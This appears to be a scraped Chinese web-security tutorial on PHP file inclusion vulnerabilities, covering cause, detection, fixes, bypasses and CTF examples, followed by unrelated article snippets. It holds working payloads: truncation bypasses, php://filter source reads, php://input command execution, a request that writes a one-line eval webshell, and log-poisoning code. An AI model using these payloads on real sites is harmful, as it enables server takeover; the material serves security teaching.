31 WEB漏洞-文件操作之文件包含漏洞全解
目录
- 文件包含漏洞
- 原理
- 检测
- 类型
- 利用
- 修复
- 本地包含-无限制,有限制
- 远程包含-无限制,有限制
- 各种协议流玩法
- 文章介绍
- 读取文件源码用法
- 执行php代码用法
- 写入一句话木马用法
- 每个脚本支持的协议玩法
- 演示案例
- 某CMS程序文件包含利用-黑盒
- CTF-南邮大,i春秋百度杯真题-白盒
用这个漏洞去包含文件,然后让这个文件去代码执行,将他当做脚本语言去执行
文件包含漏洞
原理
<?php$filename=$_GET['filename'];
include($filename);
接收参数值,用功能函数把参数值包含
//http://127.0.0.1:8080/include.php?filename=index.txt
包含漏洞造成的影响是将文件里面的东西当做代码去执行,如果我们单纯去访问1.txt的话,那么这个网站打开的就是一个代码,把文件当做文本去执行了,代码就无法触发出一个php的效果
你的网站是php的就当做php执行,如果是jsp的就当做jsp执行
漏洞原理:一个可以控制的变量,一个使用函数造成的漏洞效果,include包含,就会造成包含漏洞
漏洞成因都是一样的,就是漏洞的危害和等级不一样而已
/*
$filename=$_GET['filename'];
include($filename.".html");
*/?>
检测
有代码我们就去代码里面分析到这个漏洞,没有代码的时候,采用工具扫描,然后利用公开漏洞、功能点和参数值来判定,就是可以看下网址后面的参数值,是不是文件或类似文件名的一个命名来判定,我们就可以替换对应的参数值,来实现包含其它指定文件,所以可以通过手工看参数值来判定是不是文件包含漏洞
根据这个功能是干吗用的,针对网站这里功能的应用,功能实现的话可能涉及到什么函数,这个函数适不适合文件包含类似的,来确定这里是不是文件包含漏洞,这个就是检测的大致手段
类型
远程包含,包含互联网可以访问到的文件,远程包含漏洞危害更大一些;本地文件包含是包含本地文件,除非这个文件有,你才能包含,如果这个文件没有,你就不能包含,远程文件可以通过我们自己创建的网站和地址,然后让这个漏洞去包含指向的文件,由于是自己指向的,这些类似的代码都是可以自己去确定的
无限制指的是包含漏洞没有限制,直接用就可以了;有限制可能有些干扰,需要你用些特殊的方法去绕过
利用
能不能读取里面的文件或执行相关的命令,要求可以通过一些伪协议,这些伪协议可以通过相关的有限制的绕过,绕过一些常见的WAF软件,这些利用是属于他的一些拓展利用,与其它协议的结合
修复
文件包含各个脚本代码
ASP,PHP,JSP,ASPX等
<!--#include file="1.asp"-->
<!--#include file="top.aspx" -->
<c:import url="http://thief.one/1.jsp">
<jsp:include page="head.jsp"/>
<?php Include('test.php')?>
将文件包含进去之后,会调用指定文件的代码,比如说我们要进行一个文件连接、数据库查询的话,我们可以先包含一个数据库文件,那么你在去连接的话,就享有数据库的配置信息,就不需要进行相关的操作,所以它可以把功能性代码写到一个文件里面,用另外一个文件去包含文件,这样就不用书写包含文件里面的代码
固定后缀
对参数值进行检测,如果不需要传参的话,直接固定死就可以了
在实战情况下,他没有得到代码,他是不会想到后面强制加了个后缀,他会排除很多原因,第一种原因这个文件是不是存在,是不是上面有拦截呀,或者有没有漏洞,他会有这些疑问,测试的时候就会花很多时间,但是时间花长的话,真有漏洞,他也测不出来,所以我们加这个过滤后缀也可以,防止一部分攻击。尽量还是固定为好。还可以装一些waf和监控类的产品,来实时的看一下流量。
固定文件
固定包含的文件
WAF产品
部署waf产品能防止一些漏洞
本地包含-无限制,有限制
http://127.0.0.1:8080/include.php?filename=1.txt
http://127.0.0.1:8080/include.php?filename=…/…/…/www.txt
可以用目录的符号进行夸越,…/
$filename=$_GET['filename'];
include($filename.".html");
指向文件的后缀是.html,如果指向文件的后缀不是.html的,在执行的时候会出现失败,因为他强制性在后面加了html,而导致指向的时候,不存在这个文件;除非你有上传权限,上传.html的文件,那是可以的
但是我们要想象到,在实战中这个代码我又看不到,你又怎么知道,这里是html格式呢,格式是千奇百怪的,你如果说慢慢去测试的话,肯定需要很长时间,各种格式都要测试,这是不现实的
一般我们在确认是包含漏洞,在利用的时候,我们会发现报错,这种就是常规的限制
我们有两个方法去绕过
%00截断:条件: magic_quotes_gpc = off php版本<5.3.4
filename=…/…/…/www.txt%00
相当于被截断了,.html没有生效,那就是一个单纯的1.txt,但是这个要满足php版本的
长度截断:条件:windows,点号需要长于256;linux 长于4096
相当于waf绕过,垃圾数据填充的方法
命名过长,导致html加不上去,因为他已经是最大长度,256就是windows上文件命名的长度,超过这个长度就无法在命名了,这个长度就是文件名的长度,超过这个长度之后,代码后面强制加上.html就会失效。
操作系统指的是目标服务器上的操作系统
因为接收的参数值过长,相当于文件名过长,.html就加不上去了
./的写法,这个文件最终还是会识别成.txt,这个符号最终还是没有受到任何的干扰
根据操作系统决定的,Linux上也差不多,可以去网上查一下干扰符号的写法,就是文件命名的时候干扰符写上去,不会影响到文件的识别
远程包含-无限制,有限制
http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt
http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt%20
http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt%23
http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt?
在任何脚本里,都基本上有一个简单的设置,来确定这个漏洞会不会成为一个远程包含
第一种就是代码的限制,如果代码有限制你只能包含本地文件的话,那就不会造成远程包含,如果说代码里面没有限制并且在开发平台设置里面也没有说不允许包含远程,那么就是可以包含远程漏洞
在php里面就有一个开关,这个开关叫allow_url_include,可以通过phpinfo知道开关的情况
当前是on状态就是开启状态,就是允许地址的一个远程请求
如果是其它脚本,可以去搜一下,基本上每个大平台上面都会有这个设置,在配置文件、脚本代码里面
把远程文件访问并且调用执行了
我们在远程服务器上写一个后门代码,我们在去访问这个地址,现在代码执行,因为代码执行就是一个空白,我们用菜刀去连接,这个就能成为一个后门
这个漏洞相当于会请求这个远程地址,并且把这个远程地址代码去执行,所以这个代码执行就是后门代码
这个就是属于远程包含,无过滤的情况,有过滤的情况是这样子的
加个%20、%23、?就能绕过了,他会将后面的.html给过滤掉
这个就是最简单的远程包含漏洞原始的利用,我们学的话就要学一点更加新的东西
各种协议流玩法
文章介绍
https://www.cnblogs.com/endust/p/11804767.html
读取文件源码用法
http://127.0.0.1:8080/include.php?filename=php://filter/convert.base64-encode/resource=1.txt
因为有时候代码会有一些乱码,所以尽量要用base64会比较好一点
执行php代码用法
http://127.0.0.1:8080/include.php?filename=php://input
Post:<?php system('ver')?>
写入一句话木马用法
就相当于把后门代码给写到shell.php里面,直接连接shell.php,成功获取webshell,那么这个网站相当于通过这个漏洞直接拿下权限
http://127.0.0.1:8080/include.php?filename=php://input
Post:<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>
不同的语言写法是不同的,但是有些协议大部分都支持的,比如file协议
file协议在使用的时候,要用到完整协议,就是这点不好,有些特定文件,我们知道路径,有些完整路径,可能不知道,这个时候需要我们前期的信息收集可能才会知道
http://127.0.0.1:8080/include.php?filename=file:///D:/phpstudy/PHPTutorial/www/1.txt
http://127.0.0.1:8080/include.php?filename=data://text/plain,<?php %20phpinfo();?>
每个脚本支持的协议玩法
有一些协议在脚本环境下,是有些支持的,有些不支持的,在有些不支持的情况下是有些特殊例外的,比如说有些版本限制呀,有些安全配置之后可能就支持,这个得根据实际情况
我们在使用某种协议写法的时候,首先要确定当前网站脚本是否支持,完了之后,支持的情况下可能需要一些条件,写法,按照上面提供的玩法去玩就可以了
演示案例
本地文件包含代码测试-原理
远程文件包含代码测试-原理
各种协议流提交流测试-协议
某CMS程序文件包含利用-黑盒
本地包含我们大部分会去包含本地文件,但是这个本地文件,是它本地的,如果说我们不能上传我的文件到这个网站上面去的话,那只能包含之前在服务器上的一些文件,由于之前的服务器文件不是我上传的,我们是不知道里面有没有我们想要的代码的,比如说像后门代码;如果说后门代码有进去的话,我们可以包含这个代码成功获取webshell,但是这个后门代码不是我上传的,而且那些文件你也不知道有没有,你还要通过扫描探针才能确定有那些文件,在进行包含
如果说本地包含你要考虑到一个能不能上传到本地上去,如果说不能,我们就要采取其它措施
思路:代码审计、公开漏洞、漏洞扫描
我们知道网站使用的是cms,我们可以直接去网站上面搜,关于xxcms漏洞的情况有没有,如果没有我自己就下源码去分析,有的话直接去搜索去利用,获取到漏洞的路径去搜索
本地文件包含漏洞,你不能去远程包含,要么上传文件去包含,要么去包含固有的文件,如果没有上传点,你只能去包含本地文件
原始文件里面尽量找一些能够操作的文件,比如说像日志文件,通过将恶意信息记录到日志信息中,然后日志信息中有后门代码,再包含
http://192.168.10.22/index.php?s=my/show/id/{~eval($_ POST[x])}
我们等下利用文件包含漏洞的时候,会把这个代码当作PHP执行,写不写<?php 是无所谓的,因为你写上去也是告诉他,你这是php代码,但是你不写他也会把他当做PHP代码执行
我们学到的知识点一定是要多方面应用的,实体网站一般就是完整的网站,需要我们用到漏洞扫描工具、需要我们去网上找这套程序在网上有没有公开的漏洞,可能我们需要想办法读到这套程序的源码,然后把源码分析一遍,能不能找到相关的漏洞,这就是实战情况下的问题
CTF-南邮大,i春秋百度杯真题-白盒
在ctf比赛中很少用到扫描工具,大部分都需要你自己去观察,去分析漏洞的情况,在真实环境下可能就是一个网站,那么这个时候就可以用漏扫工具去找他的脆弱点
单纯的地址、很粗糙的页面给你看,这个就是很简单的页面,我们右键源代码也是这么个东西,那无非就是内容、网站地址上面看一下有没有东西
https://4.chinalover.sinaapp.com/web7/indexphp?file=show.php
首先参数名他是有讲究的,写的是name传的是名字,写的是id传的是编号,写的是file说明传的是文件,那就属于我们说的文件操作性安全的一些相关漏洞,后面加上的参数值,直接了当的告诉你这是个show.php
根据参数值和功能点去确定和猜测考了什么漏洞
php://filter/read=convert.base64-encode/resource=index.phphttp://e5369bfd1d9c4bc4a66983b843eb0f3760d8c19751b457d.changame.ichunqiu.com/?path=php://input
Post:<?php system('ls');?>
http://e5369bfd1d9.c66983b843eb0f3760d8c19751b457d.changame.ichunqiu.com/?path=php://filter/read=convert.base64-encode/resource=dle345aae.php
相关文章:
31 WEB漏洞-文件操作之文件包含漏洞全解
目录 文件包含漏洞原理检测类型利用修复 本地包含-无限制,有限制远程包含-无限制,有限制各种协议流玩法文章介绍读取文件源码用法执行php代码用法写入一句话木马用法每个脚本支持的协议玩法 演示案例某CMS程序文件包含利用-黑盒CTF-南邮大,i春…...
qmake.exe xxx.pro -spec win32-g++ 作用
作用 qmake.exe xxx.pro -spec win32-g的作用是使用win32-g构建系统规范来生成针对xxx.pro项目的构建脚本。 具体来说,这个命令的含义如下: qmake.exe:使用qmake命令行工具。xxx.pro:指定了要构建的项目文件,.pro文…...
SpringMVC实现增删改查
文章目录 一、配置文件1.1 导入相关pom依赖1.2 jdbc.properties:配置文件1.3 generatorConfig.xml:代码生成器1.4 spring-mybatis.xml :spring与mybatis整合的配置文件1.5 spring-context.xml :上下文配置文件1.6 spring-mvc-xml:…...
React 配置别名 @ ( js/ts 项目中通过 webpack.config.js 配置)
一、简介 在 Vue 项目当中,可以使用 来表示 src/,但在 React 项目中,默认却没有该功能,因此需要进行手动的配置来实现该功能。 别名主要解决的问题:每个页面都使用路径的方式进行引入,这样很麻烦ÿ…...
Android 在TextView前面添加多个任意View且不影响换行
实现效果如下: 如上,将头像后面的东西看作一个整体,因为不能影响后面内容的换行,且前面控件的长度是可变的,所以采用自定义View的方法来实现: /*** CSDN深海呐 https://blog.csdn.net/qq_40945489/articl…...
字符串相加
给定两个字符串形式的非负整数 num1 和num2 ,计算它们的和并同样以字符串形式返回。 你不能使用任何內建的用于处理大整数的库(比如 BigInteger), 也不能直接将输入的字符串转换为整数形式。 示例 1: 输入ÿ…...
uni-app直播从0到1实战
1.安装开发工具 2.创建项目 参考:uniapp从零到一的学习商城实战_云澜哥哥的博客-CSDN博客...
Python UI自动化 —— pytest常用运行参数解析、pytest执行顺序解析
pytest常用Console参数: -v 用于显示每个测试函数的执行结果-q 只显示整体测试结果-s 用于显示测试函数中print()函数输出-x 在第一个错误或失败的测试中立即退出-m 只运行带有装饰器配置的测试用例-k 通过表达式运行指定的测试用例-h 帮助 首先来看什么参数都没加…...
LeetCode刷题笔记【25】:贪心算法专题-3(K次取反后最大化的数组和、加油站、分发糖果)
文章目录 前置知识1005.K次取反后最大化的数组和题目描述分情况讨论贪心算法 134. 加油站题目描述暴力解法贪心算法 135. 分发糖果题目描述暴力解法贪心算法 总结 前置知识 参考前文 参考文章: LeetCode刷题笔记【23】:贪心算法专题-1(分发饼…...
java基础面试题 第四天
一、java基础面试题 第四天 1. String 为什么不可变? **不可变对象:**不可变对象在java中就是被final修饰的类就称为不可变对象,具体含义是,不可变对象一但被赋值以后,他的引用地址就不能被修改(它的属性…...
postgresql-常用日期函数
postgresql-常用日期函数 简介计算时间间隔获取时间中的信息截断日期/时间创建日期/时间获取系统时间时区转换 简介 PostgreSQL 提供了以下日期和时间运算的算术运算符。 获取当前系统时间 select current_date,current_time,current_timestamp ;-- 当前系统时间一周后的日…...
【业务场景】用户连点
处理用户连点 1.时间戳处理 思路:通过检查当前时间和上一次触发事件的时间之间的间隔,判断是否允许继续执行。 代码如下: // clickThrottle.js /* 防止重复点击 */ let clickTimer 0function clickThrottle(interval 3000) {let now n…...
zabbix企业微信告警
目前,企业微信使用要设置可信域名 华为云搜索云函数 创建函数 选择http函数,随便输入函数名字 回到函数列表,选择刚创建的函数,创建触发器,安全模式选择none 点击右上角管理 选刚创建的api,右边操作点…...
(高频面试1)Redis缓存穿透、缓存击穿、缓存雪崩
目录 一:缓存数据 1.1 应用场景 1.2:缓存数据出现的问题 1.2.1 缓存穿透 1.2.2 解决办法 1.2.3 缓存击穿 1.2.4 解决办法 1.2.5 缓存雪崩 1.2.6 解决办法 一:缓存数据 1.1 应用场景 数据库查询结果缓存是一种常见的缓存应用场景&a…...
c++推箱子小游戏
上代码: #include <stdio.h> #include <stdlib.h> #include <conio.h>int map[2][7][8] {//0:空的 1:■ :墙//3:☆ 4:★ //目的地和箱子//5:※ //人//7:⊙ //目的(3)和箱子(4)在一起//8:※ //人(5…...
SpringMVC:从入门到精通
一、SpringMVC是什么 SpringMVC是Spring提供的一个强大而灵活的web框架,借助于注解,Spring MVC提供了几乎是POJO的开发模式【POJO是指简单Java对象(Plain Old Java Objects、pure old java object 或者 plain ordinary java object࿰…...
jmeter 数据库连接配置 JDBC Connection Configuration
jmeter 从数据库获取变量信息 官方文档参考: [jmeter安装路径]/printable_docs/usermanual/component_reference.html#JDBC_Connection_Configuration 引入数据库连接: 将MySQLjar包存放至jemter指定目录(/apache-jmeter-3.3/lib)…...
TVC广告片制作成本多少
电视是广告传播的主要媒介之一,具有广泛的受众群体和较高的覆盖率。通过在电视上播放广告片,企业可以将产品或者服务的信息传达给大量潜在客户,提高知名度和曝光度。接下来由深圳TVC广告片制作公司老友记小编从以下几个方面浅析制作一条TVC广…...
【Express.js】代码规范
代码规范 编程规范,对于一个优秀的项目是不可或缺的,有了良好的代码规范,有益于项目的维护与拓展。 命名规范 命名的第一要义是明了,要让阅读者看到命名就能大概猜测出其意义或用处。 以用户身份(userRoleÿ…...
Vue2+Vue3基础入门到实战项目(前接六 副线一)—— 面经 项目
day1 接口文档地址:https://www.apifox.cn/apidoc/project-934563/api-20384515 一、项目功能演示 1.目标 启动准备好的代码,演示移动端面经内容,明确功能模块 2.项目收获 二、项目创建目录初始化 vue-cli 建项目 1.安装脚手架 (已安装…...
QT tcpserver
#include "widget.h" #include "ui_widget.h"Widget::Widget(QWidget *parent): QWidget(parent), ui(new Ui::Widget) {ui->setupUi(this);// 服务端有QTcpServer库,封装了监听操作server new QTcpServer();// 直接监听,内部根…...
Android adb shell svc 知识详解
adb shell svc 详解 文章目录 adb shell svc 详解一、svc 常用命令: 二、svc 命令和使用示例:查看系统是否安装了svc1、svc2、svc help3、svc power svc wifi has been migrated to WifiShellCommand,simply perform translation to cmd wifi set-wifi-e…...
Debian12系统下LAMP环境中Nubuilder4.5的安装
一、环境搭建 按照官方的说法,Apache2和Nginx都可以的,实际上,你最好直接按照 Mariadb\Apache2\Php8.2 这个顺序,搭建LAMP环境较好。不然各种调试,还不一定能够成功。 相关搭建方法,属于一般操作…...
百度超级链BaaS服务平台调研
目录 一、菜单功能1.1、在线版1.2、服务版 二、其他说明2.1、服务平台的部署方式2.2、混合部署 百度超级链XuperChain管理平台文档地址:https://xuper.baidu.com/n/doc#/c8737c7b/1_0_0/c8737c7b 一、菜单功能 1.1、在线版 在线版功能稍多。 菜单子菜单/功能点子…...
计算机网络之TCP/IP协议第二篇:OSI参考模型详解
文章目录 写给自己的话 一:协议分层与OSI参考模型 二:通过对话理解分层 三:OSI参考模型...
Linux内核分析与应用2-内存寻址
本系列是对 陈莉君 老师 Linux 内核分析与应用[1] 的学习与记录。讲的非常之好,推荐观看 留此记录,蜻蜓点水,可作抛砖引玉 2.1 内存寻址 数据连续存储和选择读取思想,是目前我们使用的几乎所有机器运行背后的灵魂 计算机体系结构中的核心问题之一,就是如…...
苍穹外卖 day12 Echats 营业台数据可视化整合
苍穹外卖-day12 课程内容 工作台Apache POI导出运营数据Excel报表 功能实现:工作台、数据导出 工作台效果图: 数据导出效果图: 在数据统计页面点击数据导出:生成Excel报表 1. 工作台 1.1 需求分析和设计 1.1.1 产品原型 工作台是系…...
代码随想录算法训练营day45|70. 爬楼梯(进阶版)|322. 零钱兑换|279.完全平方数
70. 爬楼梯(进阶版) 一步一个台阶,两个台阶,三个台阶,…,直到 m个台阶。问有多少种不同的方法可以爬到楼顶呢? 1阶,2阶,… m阶就是物品,楼顶就是背包。 每一阶可以重复使用&#…...
数据结构和算法(3):列表
列表是一种线性数据结构,它允许在其中存储多个元素,并且可以动态地添加或删除元素。 循秩访问 可通过重载下标操作符,实现寻秩访问 template <typename T> // assert: 0 < r < size T List<T>::operator[](Rank r) cons…...
使用playright自动下载vscode已安装插件
import os import re import subprocess import traceback from playwright.sync_api import Playwright, sync_playwright, expect# 执行CMD命令 cmd_command "code --list-extensions" # 获取已安装扩展列表 process subprocess.Popen(cmd_command, stdoutsubpr…...
怎么在网站上做推广/建网站一般多少钱
基于Java SE(标准版)12的Java开发套件12的生产版本现已发布。 Oracle可以为Linux,Windows和MacOS提供JDK 12构建。 [ Java JDK 11中所有重要的新功能 。 • 15个Java框架,可极大地促进开发人员 。 | 通过InfoWorld的App Dev Repo…...
dw制作网站模板/百度app下载最新版
第一部分、什么是动态规划算法 ok,咱们先来了解下什么是动态规划算法。 动态规划一般也只能应用于有最优子结构的问题。最优子结构的意思是局部最优解能决定全局最优解(对有些问题这个要求并不能完全满足,故有时需要引入一定的近似)。简单地说…...
有哪些专门做写字楼的网站/网络优化的内容包括哪些
C语言的一本經典教材内容,是以FAQ的方式得出495个C语言易错误的事例,很合适学习培训和招聘面试用,这书构造清楚,解读深入,是各高等院校有关技术专业C语言课程内容非常好的课堂教学教材,也是核心层C语言程序…...
四川旅游攻略自由行攻略/优化大师下载
一:ClassLoader类加载器,主要的作用是将class文件加载到jvm虚拟机中。jvm启动的时候,并不是一次性加载所有的类,而是根据需要动态去加载类,主要分为隐式加载和显示加载。 隐式加载:程序代码中不通过调用Cla…...
wordpress做支付宝/网站友链查询接口
电销机器人作为一个电销辅助工具,可以快速的帮你筛选意向客户,工作效率远超普通销售人员。而且不知疲倦,不需要打鸡血,这种优势也是人工不能比拟的。但你如果想把它当成真人一样使用,那就大错特错了。像真正谈判和签单…...
wordpress 后台主题/免费永久注册顶级域名网站
http://blog.csdn.net/leagoal/article/details/5705094...